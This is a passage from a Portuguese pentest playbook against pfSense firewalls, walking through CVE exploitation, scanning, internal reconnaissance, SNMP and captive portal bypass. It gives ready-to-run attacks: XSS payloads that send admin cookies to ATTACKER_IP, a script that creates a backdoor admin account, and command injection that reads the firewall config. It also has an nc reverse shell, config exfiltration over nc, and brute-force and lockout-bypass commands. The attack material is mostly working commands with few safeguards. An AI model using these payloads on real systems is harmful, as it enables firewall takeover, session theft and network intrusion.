> curl -sk -X POST "https://TARGET/firewall_rules_edit.php" \
>   -b "PHPSESSID=xxx" \
>   -d "descr=<script>alert('XSS')</script>" \
>   -d "interface=wan" -d "type=pass" -d "src=any" -d "dst=any"
>
> # Acessar lista de regras para trigger XSS
> curl -sk "https://TARGET/firewall_rules.php" -b "PHPSESSID=xxx" | \
>   grep -i "script"
> ```

### 4.17 Verificar CVE-2021-41283 (pfBlockerNG Stored XSS)
> **Arquivos afetados:** pkg_edit.php (pfb_dnsbl.xml, pfb_ipblock.xml, pfb_feeds.xml)
> **CVSS v3.1:** 5.4 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfBlockerNG < 2.1.4_20
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2021-41283/poc.py \
>   -t https://TARGET -u admin -p password detect
>
> # Explorar XSS via DNS BL
> python3 pocs/PfSense/CVE-2021-41283/poc.py \
>   -t https://TARGET -u admin -p password exploit \
>   --injection-point "DNS BL Custom List" \
>   --payload-type cookie_steal
>
> # Gerar payloads
> python3 pocs/PfSense/CVE-2021-41283/poc.py payloads
> ```
>
> **Teste Manual:**
> ```bash
> # Verificar se pfBlockerNG está instalado
> curl -sk "https://TARGET/pkg_mgr.php" -b "PHPSESSID=xxx" | \
>   grep -i "pfblocker"
>
> # Testar injeção (requer auth + pfBlockerNG)
> curl -sk -X POST "https://TARGET/pkg_edit.php?xml=pfb_dnsbl.xml" \
>   -b "PHPSESSID=xxx" \
>   -d "dnsbl_custom=<script>alert('XSS')</script>" \
>   -d "Submit=Save"
> ```

### 4.18 Verificar CVE-2019-16701 (Reflected XSS)
> **Arquivos afetados:** Múltiplas páginas do web GUI
> **CVSS v3.1:** 6.1 Medium (`AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.4.4-p1
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2019-16701/poc.py \
>   -t https://TARGET detect
>
> # Testar payloads específicos
> python3 pocs/PfSense/CVE-2019-16701/poc.py \
>   -t https://TARGET test -p /index.php -P search
>
> # Gerar URL de ataque
> python3 pocs/PfSense/CVE-2019-16701/poc.py \
>   -t https://TARGET exploit \
>   -p /index.php -P search --payload-type cookie
> ```
>
> **Teste Manual:**
> ```bash
> # Testar múltiplos parâmetros
> curl -sk "https://TARGET/index.php?msg=<script>alert('XSS')</script>" | \
>   grep -i "script"
>
> curl -sk "https://TARGET/firewall_rules.php?filter=<script>alert('XSS')</script>" | \
>   grep -i "script"
>
> # Verificar versão
> curl -sk "https://TARGET/index.php" | grep -i "version"
> # Vulnerável: < 2.4.4-p1
> ```

### 4.19 Verificar CVE-2023-27100 (SSHGuard Authentication Bypass)
> **Arquivos afetados:** SSHGuard component, index.php, auth.inc
> **CVSS v3.1:** 9.8 Critical (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`) | **CWE:** CWE-307
> **Affected:** pfSense Plus v22.05.1, pfSense CE v2.6.0
> **Fix:** pfSense CE 2.7.0, pfSense Plus 23.05
>
> **Descrição:** Vulnerabilidade permite bypass do mecanismo de proteção SSHGuard contra brute force via headers HTTP forjados, permitindo tentativas ilimitadas de login.
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET detect
>
> # Testar proteção SSHGuard
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET test
>
> # Verificar bypass
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET verify
> ```
>
> **Brute Force (apenas em testes autorizados!):**
> ```bash
> # Credenciais default
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET brute
>
> # Username específico
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET brute -u admin
>
> # Com wordlist
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET brute -u admin -w /path/to/wordlist.txt
>
> # Limitar tentativas
> python3 pocs/PfSense/CVE-2023-27100/poc.py \
>   -t https://TARGET brute -u admin --max-attempts 50
> ```
>
> **Teste Manual:**
> ```bash
> # Testar bypass com header X-Forwarded-For
> for i in {1..10}; do
>     curl -sk -H "X-Forwarded-For: 127.0.0.$i" \
>         -d "usernamefld=invalid&passwordfld=wrong&login=Sign+In" \
>         "https://TARGET/index.php" | grep -i "invalid"
> done
>
> # Se não bloquear após 10 tentativas: vulnerável
> # Se bloquear: SSHGuard ativo (pode estar patchado)
>
> # Verificar versão
> curl -sk "https://TARGET/index.php" | grep -i "version"
> # Vulnerável: CE 2.6.0, Plus 22.05.1
> # Patched: CE >= 2.7.0, Plus >= 23.05
> ```
>
> **Headers de Bypass:**
> ```bash
> # X-Forwarded-For
> curl -sk -H "X-Forwarded-For: 127.0.0.1" "https://TARGET/index.php"
>
> # X-Real-IP
> curl -sk -H "X-Real-IP: 127.0.0.1" "https://TARGET/index.php"
>
> # X-Client-IP
> curl -sk -H "X-Client-IP: 127.0.0.1" "https://TARGET/index.php"
>
> # IPv6
> curl -sk -H "X-Forwarded-For: ::1" "https://TARGET/index.php"
> ```

### 4.20 Verificar CVE-2020-21487 (ACME Package Stored XSS)
> **Arquivos afetados:** `acme_certificates.php`, `acme/acme.xml`
> **CVSS v3.1:** 9.6 Critical (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`) | **CWE:** CWE-79
> **Affected:** pfSense 2.4.4, ACME package v.0.6.3
> **Fix:** ACME package > 0.6.3
>
> **Descrição:** XSS armazenado no pacote ACME permite injeção de JavaScript malicioso via campo RootFolder, executando no contexto do navegador do admin.
>
> **Requisitos:**
> - Pacote ACME instalado (usado para certificados Let's Encrypt)
> - Acesso autenticado (ou vetor indireto de injeção)
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2020-21487/poc.py \
>   -t https://TARGET -u admin -p password detect
>
> # Verificar payload armazenado
> python3 pocs/PfSense/CVE-2020-21487/poc.py \
>   -t https://TARGET -u admin -p password verify
> ```
>
> **Exploração:**
> ```bash
> # Cookie stealer via RootFolder
> python3 pocs/PfSense/CVE-2020-21487/poc.py \
>   -t https://TARGET -u admin -p password exploit \
>   --injection-point "RootFolder Field" \
>   --payload-type cookie_steal
>
> # Backdoor user via Certificate Name
> python3 pocs/PfSense/CVE-2020-21487/poc.py \
>   -t https://TARGET -u admin -p password exploit \
>   --injection-point "Certificate Name" \
>   --payload-type admin_action
>
> # Gerar payloads
> python3 pocs/PfSense/CVE-2020-21487/poc.py payloads
> ```
>
> **Teste Manual:**
> ```bash
> # Verificar se ACME está instalado
> curl -sk "https://TARGET/pkg_mgr.php" -b "PHPSESSID=xxx" | \
>   grep -i "acme"
>
> # Testar XSS via RootFolder (requer auth)
> curl -sk -X POST "https://TARGET/pkg_edit.php?xml=acme/acme.xml" \
>   -b "PHPSESSID=xxx" \
>   -d "rootfolder=<script>alert('XSS')</script>" \
>   -d "Submit=Save"
>
> # Verificar reflexão
> curl -sk "https://TARGET/pkg_edit.php?xml=acme/acme.xml" \
>   -b "PHPSESSID=xxx" | grep -i "script"
> # Vulnerável: retorna <script>
> # Patched: retorna &lt;script&gt;
> ```
>
> **Payloads:**
> ```javascript
> // Alert (teste)
> <script>alert('XSS')</script>
>
> // Roubo de cookie
> <script>document.location='http://ATTACKER_IP/steal.php?c='+document.cookie</script>
>
> // Backdoor user
> <script>
>   fetch('/system_usermanager.php', {
>     method: 'POST',
>     body: 'act=new&username=backdoor&password=attacker123'
>   });
> </script>
> ```

### 4.21 Verificar CVE-2022-29272 (Command Injection em Diagnostics)
> **Arquivos afetados:** `diag_ping.php`, `diag_traceroute.php`, `diag_authentication.php`
> **CVSS v3.1:** 7.5 High (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) | **CWE:** CWE-77
> **Affected:** pfSense CE < 2.6.0
> **EPSS:** ~65%
>
> **Descrição:** Injeção de comando em páginas de diagnóstico permite execução arbitrária de comandos como root.
>
> **Requisitos:**
> - Autenticação válida
> - pfSense < 2.6.0
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2022-29272/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Executar comando
> python3 pocs/PfSense/CVE-2022-29272/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit -c "id"
>
> # Exfiltrar config
> python3 pocs/PfSense/CVE-2022-29272/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit -c "cat /cf/conf/config.xml"
> ```
>
> **Teste Manual:**
> ```bash
> # Testar injeção via POST
> curl -sk -X POST "https://TARGET/diag_ping.php" \
>   -b "PHPSESSID=xxx" \
>   -d "host=127.0.0.1;id;" \
>   -d "count=4" | grep -i "uid="
> ```

### 4.22 Verificar CVE-2023-42328 (Stored XSS em Múltiplos Campos)
> **Arquivos afetados:** `firewall_rules.php`, `firewall_aliases_edit.php`, `interfaces.php`
> **CVSS v3.1:** 6.1 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
> **EPSS:** ~45%
>
> **Descrição:** XSS armazenado em múltiplos campos de configuração permite injeção de JavaScript malicioso.
>
> **Requisitos:**
> - Autenticação válida
> - Admin deve visualizar a página afetada
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42328/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Injetar payload
> python3 pocs/PfSense/CVE-2023-42328/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit \
>   -p "<script>fetch('http://ATTACKER_IP/steal?c='+document.cookie)</script>"
>
> # Listar payloads
> python3 pocs/PfSense/CVE-2023-42328/poc.py payloads
> ```
>
> **Pontos de Injeção:**
> - Firewall Rule Description (`descr`)
> - Alias Name (`name`)
> - Alias Description (`descr`)
> - Interface Description (`descr`)

### 4.23 Verificar CVE-2023-42329 (Stored XSS em Dashboard Widgets)
> **Arquivos afetados:** `widgets/widgets/*.widget.php`
> **CVSS v3.1:** 5.4 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
> **EPSS:** ~40%
>
> **Descrição:** XSS armazenado em configuração de widgets do dashboard executa quando admin visualiza o dashboard.
>
> **Requisitos:**
> - Autenticação válida
> - Admin deve visualizar o dashboard
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42329/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Injetar payload em widget
> python3 pocs/PfSense/CVE-2023-42329/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit \
>   -p "<img src=x onerror=alert('XSS')>"
> ```
>
> **Pontos de Injeção:**
> - `/widgets/widgets/log.widget.php` (widgetkey)
> - `/widgets/widgets/traffic_graphs.widget.php`
> - `/widgets/widgets/gateways.widget.php`
> - `/widgets/widgets/interface_statistics.widget.php`

### 4.24 Verificar CVE-2023-42330 (Stored XSS em System Configuration)
> **Arquivos afetados:** `system_usermanager.php`, `system_groupmanager.php`, `system_usermanager_settings.php`
> **CVSS v3.1:** 5.4 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
> **EPSS:** ~38%
>
> **Descrição:** XSS armazenado em páginas de configuração do sistema permite roubo de sessão admin.
>
> **Requisitos:**
> - Autenticação válida
> - Admin deve visualizar system pages
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42330/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Injetar payload em user description
> python3 pocs/PfSense/CVE-2023-42330/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit \
>   -p "<script>fetch('http://ATTACKER_IP/steal?c='+document.cookie)</script>"
> ```
>
> **Pontos de Injeção:**
> - User Description (`descr`)
> - Group Description (`descr`)
> - LDAP URL (`ldapurl`)
> - Log Entries Setting (`nentries`)

### 4.25 Verificar CVE-2023-42331 (Stored XSS em NAT Configuration)
> **Arquivos afetados:** `firewall_nat.php`, `firewall_nat_edit.php`, `firewall_nat_out.php`
> **CVSS v3.1:** 5.4 Medium (`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`) | **CWE:** CWE-79
> **Affected:** pfSense CE < 2.7.0
> **EPSS:** ~36%
>
> **Descrição:** XSS armazenado em configuração NAT permite execução de JavaScript no contexto do admin.
>
> **Requisitos:**
> - Autenticação válida
> - Admin deve visualizar NAT rules
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-42331/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Injetar payload em NAT rule
> python3 pocs/PfSense/CVE-2023-42331/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit \
>   -p "<script>fetch('http://ATTACKER_IP/steal?c='+document.cookie)</script>"
> ```
>
> **Pontos de Injeção:**
> - NAT Rule Description (`descr`)
> - NAT Edit Description (`descr`)
> - NAT Outbound Description (`descr`)
> - Virtual IP Description (`descr`)

### 4.26 Verificar CVE-2021-27933 (Command Injection via Diagnostic Auth)
> **Arquivos afetados:** `diag_authentication.php`
> **CVSS v3.1:** 7.5 High (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) | **CWE:** CWE-77
> **Affected:** pfSense CE < 2.5.1
> **EPSS:** ~70%
>
> **Descrição:** Injeção de comando na página de diagnóstico de autenticação permite execução arbitrária de comandos.
>
> **Requisitos:**
> - Autenticação válida
> - pfSense < 2.5.1
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2021-27933/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" detect
> ```
>
> **Exploração:**
> ```bash
> # Executar comando
> python3 pocs/PfSense/CVE-2021-27933/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit -c "id"
>
> # Exfiltrar config
> python3 pocs/PfSense/CVE-2021-27933/poc.py \
>   -t https://TARGET --cookie "phpsgid=xxx" exploit -c "cat /cf/conf/config.xml"
> ```
>
> **Teste Manual:**
> ```bash
> # Testar injeção via POST
> curl -sk -X POST "https://TARGET/diag_authentication.php" \
>   -b "PHPSESSID=xxx" \
>   -d "testmethod=icmp&host=127.0.0.1;id;" | grep -i "uid="
> ```

### 4.27 Verificar CVE-2023-48123 (RCE via packet_capture.php)
> **Arquivos afetados:** `diag_packet_capture.php`, `packet_capture.php`
> **CVSS v3.1:** 8.8 High (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) | **CWE:** CWE-77
> **Affected:** pfSense CE < 2.7.0, pfSense Plus < 23.05.1
> **EPSS:** 68.2%
>
> **Descrição:** Injeção de comando no arquivo packet_capture.php permite execução arbitrária de comandos como root.
>
> **Requisitos:**
> - Autenticação válida
> - pfSense < 2.7.0 (CE) ou < 23.05.1 (Plus)
>
> **Detecção:**
> ```bash
> python3 pocs/PfSense/CVE-2023-48123/poc.py \
>   -t https://TARGET -u admin -p password detect
> ```
>
> **Exploração:**
> ```bash
> # Executar comando
> python3 pocs/PfSense/CVE-2023-48123/poc.py \
>   -t https://TARGET -u admin -p password exploit -c "id"
>
> # Exfiltrar config
> python3 pocs/PfSense/CVE-2023-48123/poc.py \
>   -t https://TARGET -u admin -p password exploit -c "cat /cf/conf/config.xml"
>
> # Reverse shell
> python3 pocs/PfSense/CVE-2023-48123/poc.py \
>   -t https://TARGET -u admin -p password exploit -c "nc -e /bin/sh ATTACKER_IP 4444"
> ```
>
> **Teste Manual:**
> ```bash
> # Testar injeção via POST
> curl -sk -X POST "https://TARGET/diag_packet_capture.php" \
>   -b "PHPSESSID=xxx" \
>   -d "host=127.0.0.1;id;&port=80&proto=icmp&count=4&save=Save" | grep -i "uid="
> # Vulnerável: retorna uid=0(root)
> # Patched: retorna erro ou nada
> ```
>
> **Payloads:**
> ```bash
> # Injeção básica
> 127.0.0.1; id; #
> 127.0.0.1 | id | #
> 
> # Reverse shell
> 127.0.0.1; nc -e /bin/sh ATTACKER_IP 4444; #
> 
# Exfiltração
> 127.0.0.1; cat /cf/conf/config.xml | base64 | nc ATTACKER_IP 4445; #
> ```

### 4.4 Scan Genérico de CVEs com Nuclei
```bash
# Todos os CVEs pfSense disponíveis
nuclei -u https://TARGET -tags pfsense -severity critical,high,medium -silent

# Todos CVEs + default credentials
nuclei -u https://TARGET -t default-credentials/pfsense-default-login.yaml -silent
nuclei -u https://TARGET -t cves/ -tags pfsense -silent

# Scan completo web
nuclei -u https://TARGET -t web-tech/ -t technologies/ -t exposures/ -silent
```

---

## Fase 4.28 — OWASP Nettacker for pfSense (PTES 2.5.4 - Active Footprinting)

> **NOTE:** Nettacker complementa Nuclei com **SSL/TLS scanning**, **HTTP security headers**, **subdomain enumeration**, e **brute-force testing** em uma única ferramenta.

### 4.28.1 SSL/TLS Vulnerability Scanning

```bash
# Todos os checks SSL/TLS
docker run --rm owasp/nettacker -i TARGET -m ssl_*_vuln

# SSL weak cipher detection
docker run --rm owasp/nettacker -i TARGET -m ssl_weak_cipher_vuln

# SSL certificate expiry check
docker run --rm owasp/nettacker -i TARGET -m ssl_expired_certificate_vuln

# Old SSL version detection (SSLv2, SSLv3, TLS1.0)
docker run --rm owasp/nettacker -i TARGET -m ssl_old_version_vuln

# Heartbleed vulnerability (CVE-2014-0160)
docker run --rm owasp/nettacker -i TARGET -m heartbleed_vuln

# Output HTML com graficos
docker run --rm -v $(pwd):/tmp owasp/nettacker \
  -i TARGET -m ssl_*_vuln \
  --graph-output /tmp/pfsense_ssl_report.html
```

**Template de Finding - SSL/TLS Issues:**
```
FINDING: SSL-TLS-WEAKNESS-NETTACKER
CATEGORY: VULNERABILITY
SEVERITY: [HIGH/MEDIUM/LOW]
PTES: 2.5.4.7 - Banner Grabbing / SSL Assessment

TARGET: https://TARGET:443
ISSUES DETECTED:
- Weak cipher suites enabled (3DES, RC4)
- SSLv3/TLS1.0 supported (deprecated protocols)
- Certificate expired/expiring soon
- Missing HSTS header

DESCRIPTION:
Nettacker SSL/TLS scan identified cryptographic weaknesses on pfSense
web GUI. These issues may allow MITM attacks or traffic decryption.

EVIDENCE:
docker run --rm owasp/nettacker -i TARGET -m ssl_weak_cipher_vuln

REMEDIATION:
System > Advanced > Admin Access > HTTPS Server
- Enable only TLS 1.2 and TLS 1.3
- Use strong cipher suites (AES-GCM, ChaCha20-Poly1305)
- Disable SSLv3, TLS 1.0, TLS 1.1
- Configure HSTS header

PTES REFERENCE: Section 2.5.4.7 (Banner Grabbing)
```

### 4.28.2 HTTP Security Headers Assessment

```bash
# Todos os checks de HTTP security headers
docker run --rm owasp/nettacker -i TARGET -m clickjacking_vuln,content_security_policy_vuln,x_content_type_options_vuln,x_xss_protection_vuln,cors_vuln,cookie_security_vuln,hsts_vuln

# Clickjacking protection
docker run --rm owasp/nettacker -i TARGET -m clickjacking_vuln

# Content Security Policy
docker run --rm owasp/nettacker -i TARGET -m content_security_policy_vuln

# X-Content-Type-Options
docker run --rm owasp/nettacker -i TARGET -m x_content_type_options_vuln

# X-XSS-Protection
docker run --rm owasp/nettacker -i TARGET -m x_xss_protection_vuln

# CORS misconfiguration
docker run --rm owasp/nettacker -i TARGET -m cors_vuln

# Cookie security (Secure, HttpOnly flags)
docker run --rm owasp/nettacker -i TARGET -m cookie_security_vuln

# HSTS (HTTP Strict Transport Security)
docker run --rm owasp/nettacker -i TARGET -m hsts_vuln
```

**Template de Finding - HTTP Security Headers:**
```
FINDING: HTTP-HEADERS-MISSING-NETTACKER
CATEGORY: CONFIGURATION
SEVERITY: MEDIUM
PTES: 2.5.4.7 - Banner Grabbing

TARGET: https://TARGET
MISSING HEADERS:
- X-Frame-Options: DENY (Clickjacking protection)
- Content-Security-Policy: (XSS protection)
- X-Content-Type-Options: nosniff
- Strict-Transport-Security: (HSTS)

DESCRIPTION:
Nettacker HTTP security header scan identified missing security headers
on pfSense web GUI. These headers provide defense-in-depth against XSS,
clickjacking, and MIME-type sniffing attacks.

EVIDENCE:
docker run --rm owasp/nettacker -i TARGET -m clickjacking_vuln

REMEDIATION:
System > Advanced > Admin Access > HTTP Headers
- Add X-Frame-Options: DENY
- Add Content-Security-Policy: default-src 'self'
- Add X-Content-Type-Options: nosniff
- Add Strict-Transport-Security: max-age=31536000

PTES REFERENCE: Section 2.5.4.7 (Banner Grabbing)
```

### 4.28.3 pfSense Subdomain Enumeration

```bash
# Subdomain enumeration para pfSense deployments
docker run --rm owasp/nettacker -i TARGET -m subdomain_scan

# Subdomain + WAF detection
docker run --rm owasp/nettacker -i TARGET -m subdomain_scan,waf_scan

# Subdomain + web tech detection
docker run --rm owasp/nettacker -i TARGET -m subdomain_scan,web_technologies_scan

# Output JSON para pipeline
docker run --rm -v $(pwd):/tmp owasp/nettacker \
  -i TARGET -m subdomain_scan \
  --json-output /tmp/pfsense_subs.json
```

### 4.28.4 WAF Detection (pfSense + Packages)

```bash
# WAF detection (pfSense native + ModSecurity package)
docker run --rm owasp/nettacker -i TARGET -m waf_scan

# WAF + web technologies
docker run --rm owasp/nettacker -i TARGET -m waf_scan,web_technologies_scan
```

### 4.28.5 Admin Panel Discovery

```bash
# Admin panel discovery (pfSense web GUI paths)
docker run --rm owasp/nettacker -i TARGET -m admin_scan

# Admin + directory enumeration
docker run --rm owasp/nettacker -i TARGET -m admin_scan,dir_scan
```

**Paths Comuns pfSense:**
```
/, /index.php, /firewall_rules.php
/system_usermanager.php, /diag_command.php
/xmlrpc.php, /crash_reporter.php
/pkg_mgr.php, /system_advanced_admin.php
```

### 4.28.6 Brute-Force Testing (pfSense Web GUI)

```bash
# HTTP Basic Auth brute force
docker run --rm owasp/nettacker -i TARGET -m http_basic_auth_brute

# HTTP Form brute force (pfSense login form)
docker run --rm owasp/nettacker -i TARGET -m http_form_brute \
  --scan-args "--form-data 'usernamefld=admin&passwordfld=PASSWORD&login=Sign+In'"

# API integration
API_KEY=$(docker logs nettacker 2>&1 | grep "API Key" | awk '{print $4}')
curl -k -X POST "https://localhost:5000/new/scan" \
  -d "key=${API_KEY}&targets=TARGET&selected_modules=http_form_brute"
```

### 4.28.7 pfSense-Specific Vulnerability Modules

```bash
# CVE checks relevantes para pfSense
docker run --rm owasp/nettacker -i TARGET -m \
  log4j_cve_2021_44228_vuln,\
  f5_cve_2020_5902_vuln,\
  citrix_cve_2019_19781_vuln,\
  apache_struts_cve_2017_5638_vuln

# ProxyLogon (Exchange) - se pfSense faz proxy para Exchange
docker run --rm owasp/nettacker -i TARGET -m proxylogon_cve_2021_26855_vuln

# vBulletin RCE - se pfSense integra com forums
docker run --rm owasp/nettacker -i TARGET -m vbulletin_cve_2019_16759_vuln
```

### 4.28.8 Full pfSense Recon Workflow

```bash
# Step 1: SSL/TLS assessment
docker run --rm owasp/nettacker -i TARGET -m ssl_*_vuln \
  --json-output /tmp/ssl_results.json

# Step 2: HTTP security headers
docker run --rm owasp/nettacker -i TARGET -m \
  clickjacking_vuln,content_security_policy_vuln,x_content_type_options_vuln,\
  x_xss_protection_vuln,cors_vuln,cookie_security_vuln,hsts_vuln \
  --json-output /tmp/headers_results.json

# Step 3: Web tech detection
docker run --rm owasp/nettacker -i TARGET -m web_technologies_scan \
  --json-output /tmp/tech_results.json

# Step 4: WAF detection
docker run --rm owasp/nettacker -i TARGET -m waf_scan \
  --json-output /tmp/waf_results.json

# Step 5: Consolidate results
jq -s '.' /tmp/*_results.json > /tmp/pfsense_full_recon.json

# Step 6: Generate HTML report
docker run --rm -v $(pwd):/tmp owasp/nettacker \
  -i TARGET -m ssl_*_vuln,web_technologies_scan,waf_scan \
  --graph-output /tmp/pfsense_full_report.html
```

### 4.28.9 Nettacker + Nuclei Combined Workflow

```bash
# Step 1: Nettacker SSL + headers (broad coverage)
docker run --rm owasp/nettacker -i TARGET -m ssl_*_vuln,clickjacking_vuln,hsts_vuln

# Step 2: Nuclei pfSense-specific CVEs (deep CVE coverage)
nuclei -u https://TARGET -tags pfsense -severity critical,high

# Step 3: Nuclei web-tech detection
nuclei -u https://TARGET -t technologies/ -t web-tech/

# Step 4: Cross-reference results
# Nettacker: SSL/TLS issues, missing headers
# Nuclei: CVE-specific vulnerabilities, tech detection
# Combine both for comprehensive assessment
```

### 4.28.10 Comparison: Nettacker vs Nuclei for pfSense

| Feature | Nettacker | Nuclei |
|---------|-----------|--------|
| **SSL/TLS** | Comprehensive (weak cipher, old version, heartbleed) | Basic (via templates) |
| **HTTP Headers** | Built-in modules (7+ header checks) | Template-based |
| **CVE Detection** | 50+ generic CVEs | 200+ pfSense-specific templates |
| **Brute-Force** | Built-in (HTTP Basic, Form, WP XMLRPC) | Limited |
| **Output** | HTML with graphs, JSON, CSV, SARIF | JSON, Markdown |
| **Best For** | SSL assessment, header checks, brute-force | CVE detection, tech fingerprinting |

**Recommended Workflow:**
```bash
# Use Nettacker for:
# - SSL/TLS comprehensive assessment
# - HTTP security header checks
# - Brute-force testing
# - Quick recon (subdomain + tech + WAF)

# Use Nuclei for:
# - pfSense-specific CVE detection
# - Technology fingerprinting
# - Package vulnerability checks (pfBlockerNG, Suricata, etc.)

# Combined:
docker run --rm owasp/nettacker -i TARGET -m ssl_*_vuln,hsts_vuln &
nuclei -u https://TARGET -tags pfsense -severity critical,high &
wait
```

---

## Fase 5 — Reconhecimento Interno (Perspectiva LAN/DMZ)

### 5.1 Identificar o pfSense na Rede Interna
```bash
# O gateway padrão da LAN geralmente é o pfSense
ip route show | grep default
# ou
route -n | grep ^0.0.0.0

# Identificar IP do pfSense
TARGET_LAN=$(ip route show | awk '/default/{print $3}')
echo "pfSense LAN IP: $TARGET_LAN"

# Scan da LAN
nmap -sn 192.168.1.0/24 --open

# ARP scan
arp-scan -l
```

### 5.2 Anti-Lockout Rule (Rede Interna)
> O pfSense cria automaticamente uma "anti-lockout rule" que permite acesso irrestrito ao Web GUI a partir da interface LAN. Isso significa que da LAN **não há lockout por falhas de login**.

```bash
# Da LAN: brute force sem risco de lockout por pf table
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https-post-form://TARGET_LAN/":usernamefld=^USER^&passwordfld=^PASS^&login=Sign+In:Username or Password incorrect" \
  -t 5 -V

# Acesso ao GUI na porta 443 (ou 80)
curl -sk https://$TARGET_LAN/ -I
```

---

## Fase 6 — Serviços Internos & HA/CARP

### 6.1 CARP / pfSync (Alta Disponibilidade)
```bash
# pfSync usa protocolo IP 240 (pfsync) — tráfego de sincronização de estados
# Capturar tráfego pfSync (não criptografado por padrão!)
tcpdump -i eth0 -n proto 240 -w pfsync_capture.pcap

# CARP usa protocolo IP 112 (VRRP-like)
tcpdump -i eth0 -n proto 112

# Testar CARP spoofing (CARP sem senha = sem autenticação)
# Verificar se CARP está usando senha (parâmetro advskew/password)
```

### 6.2 XMLRPC HA Sync (Porta 443)
> **Fonte código:** `system_hasync.php:73` — senha de sync armazenada; `xmlrpc.php:127-158` — exec_php e exec_shell disponíveis para admin
> O Secondary pfSense faz chamadas XMLRPC para o Primary usando admin:senha

```bash
# Interceptar chamadas XMLRPC entre Primary e Secondary (MITM na rede interna)
# Credenciais viajam em HTTP Basic Auth

# Se você tem credenciais do Secondary, tente no Primary (mesma senha geralmente)
# Endpoints XMLRPC críticos:
# - exec_shell: executa shell commands
# - exec_php: executa código PHP
# - backup_config_section: baixa config
# - restore_config_section: restaura config (RCE via pacotes maliciosos)

# XMLRPC Brute via rede interna
hydra -l admin -P senhas.txt $TARGET_LAN https-get /xmlrpc.php
```

### 6.3 SNMP Interno (Comunidades Padrão)
```bash
# pfSense: rocommunity e rwcommunity configuráveis
# Padrão comum: public (ro), private (rw)

# Enumerar via SNMP — rede interna é o contexto natural
snmpwalk -v2c -c public $TARGET_LAN . 2>/dev/null

# Tabela de roteamento
snmpwalk -v2c -c public $TARGET_LAN ipRouteTable

# Tabela ARP
snmpwalk -v2c -c public $TARGET_LAN ipNetToMediaPhysAddress

# Interfaces com IPs
snmpwalk -v2c -c public $TARGET_LAN ifTable

# Tabela de conexões TCP
snmpwalk -v2c -c public $TARGET_LAN tcpConnTable

# Se rwcommunity funcionar: SET attack para modificar configurações de rede
snmpset -v2c -c private $TARGET_LAN \
  1.3.6.1.2.1.1.5.0 s "new-hostname"

# Metasploit SNMP enumeration
# use auxiliary/scanner/snmp/snmp_enum
# set RHOSTS TARGET_LAN
# set COMMUNITY public
```

### 6.4 DNS Resolver (pfSense como Resolver Local)
```bash
# pfSense atua como resolver DNS na rede interna
# Verificar DNS rebinding protection (habilitada por padrão)
dig @$TARGET_LAN internal.domain

# Cache poisoning se resolver não valida respostas
# Verificar se DNSSEC está habilitado
dig @$TARGET_LAN . DNSKEY

# DNS amplification test (se UDP 53 exposto externamente)
dig +short test.openresolver.com @TARGET
```

---

## Fase 7 — Captive Portal Bypass

### 7.1 Técnicas de Bypass
```bash
# pfSense Captive Portal usa ipfw/pf rules por MAC/IP
# Mecanismos de bypass documentados no código:
# - passthrumac: MACs na whitelist (captiveportal.inc:528)
# - allowedip: IPs na whitelist (captiveportal.inc:533)

# Bypass 1: MAC Spoofing para MAC autorizado
# Observar tráfego para identificar MACs autorizados
tcpdump -i eth0 -n ether
# Spoofar MAC
ip link set eth0 address AA:BB:CC:DD:EE:FF

# Bypass 2: IP Spoofing (não confiável — sem TCP)
